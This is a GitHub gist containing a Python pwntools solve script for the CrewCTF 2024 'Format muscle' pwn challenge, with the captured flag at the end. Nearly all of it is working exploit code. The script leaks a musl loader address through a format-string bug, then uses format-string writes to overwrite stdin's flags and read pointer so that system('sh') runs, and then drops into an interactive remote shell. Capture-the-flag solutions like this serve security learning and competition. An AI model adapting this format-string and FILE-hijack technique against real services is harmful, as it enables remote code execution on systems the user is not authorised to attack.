Last active
August 7, 2024 02:37
-
-
Save lebr0nli/46040b005879df9936a9ab64c0f1caf4 to your computer and use it in GitHub Desktop.
CrewCTF 2024 - Format muscle (pwn)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from __future__ import annotations | |
from pwn import * | |
import ctypes | |
import typing as T | |
binary = ELF("./format-muscle") | |
# libc = ELF("./libc.so.6") | |
ld = ELF("./ld-musl-x86_64.so.1") | |
context.binary = binary | |
if args.NEWW: | |
context.terminal = ["tmux", "neww", "-e", "GDB=pwndbg"] | |
else: | |
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"] | |
context.arch = context.binary.arch | |
HOST, PORT = (args.NC or "nc format-muscle.chal.crewc.tf 1337").split()[1:] | |
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT) | |
GDB_SCRIPT = """ | |
# tbreak main | |
set follow-fork-mode parent | |
break *main+92 | |
break system | |
continue | |
""".strip() | |
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#")) | |
def strb(data: T.Any) -> bytes: | |
return data if isinstance(data, bytes) else str(data).encode() | |
def cint(n: int, bits: int, signed: bool) -> int: | |
return { | |
(8, True): ctypes.c_int8, | |
(8, False): ctypes.c_uint8, | |
(16, True): ctypes.c_int16, | |
(16, False): ctypes.c_uint16, | |
(32, True): ctypes.c_int32, | |
(32, False): ctypes.c_uint32, | |
(64, True): ctypes.c_int64, | |
(64, False): ctypes.c_uint64, | |
}[(bits, signed)](n).value | |
def log_leak(data: int | bytes | str, name: str = "leaked", use_hex: bool = True) -> None: | |
if isinstance(data, (bytes, str)): | |
info(f"{name}: {data}") | |
return | |
if use_hex: | |
data = hex(data) | |
info(f"{name}: {data}") | |
def demangle(val: int, is_heap_base: bool = False) -> int: | |
if not is_heap_base: | |
mask = 0xFFF << 52 | |
while mask: | |
v = val & mask | |
val ^= v >> 12 | |
mask >>= 12 | |
return val | |
return val << 12 | |
def mangle(heap_addr: int, val: int) -> int: | |
return (heap_addr >> 12) ^ val | |
def conn() -> tube: | |
if args.LOCAL: | |
# ./solve.py LOCAL | |
return process([binary.path]) | |
elif args.GDB: | |
# ./solve.py GDB | |
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT) | |
# ./solve.py | |
return remote(HOST, PORT) | |
def exploit() -> bool: | |
with conn() as io: | |
io.sendline(b"start") | |
io.recvuntil(b"start\n") | |
io.sendline(b"%1$p") | |
ld.address = int(io.recvline(), 16) - 0xAE1ED | |
log_leak(ld.address, "ld") | |
stdin = ld.address + 0xAD180 | |
log_leak(stdin, "stdin") | |
info("Writing sh to stdin->flags") | |
payload = fmtstr_payload( | |
6, | |
{ | |
# somehow we need that \t to make flags work | |
stdin: int.from_bytes(b"\tsh\0", "little"), | |
}, | |
no_dollars=True, | |
) | |
assert len(payload) < 256 | |
io.sendline(payload) | |
# https://github.com/kraj/musl/blob/v1.2.2/src/stdio/__uflow.c#L9 | |
# https://github.com/kraj/musl/blob/v1.2.2/src/stdio/__toread.c#L3-L14 | |
info("Writing system to stdin->read") | |
payload = fmtstr_payload( | |
6, | |
{ | |
stdin + 0x40: ld.symbols["system"], | |
}, | |
no_dollars=True, | |
) | |
assert len(payload) < 256 | |
io.sendline(payload) | |
sleep(1) | |
io.clean() | |
io.interactive() | |
return True | |
def main() -> None: | |
if not args.LOOP: | |
exploit() | |
return | |
cnt = 0 | |
saved_addresses = {} | |
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))): | |
saved_addresses[b] = b.address | |
# ./solve.py LOOP | |
while cnt := cnt + 1: | |
info(f"Attempted {cnt}") | |
try: | |
if exploit(): | |
return | |
except Exception as e: | |
debug(str(e)) | |
# clean up the addresses we set during exploit | |
for b, addr in saved_addresses.items(): | |
if b.address != addr: | |
b.address = addr | |
if __name__ == "__main__": | |
main() | |
# crew{why_n0t_%1337$p_1n_musl???} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment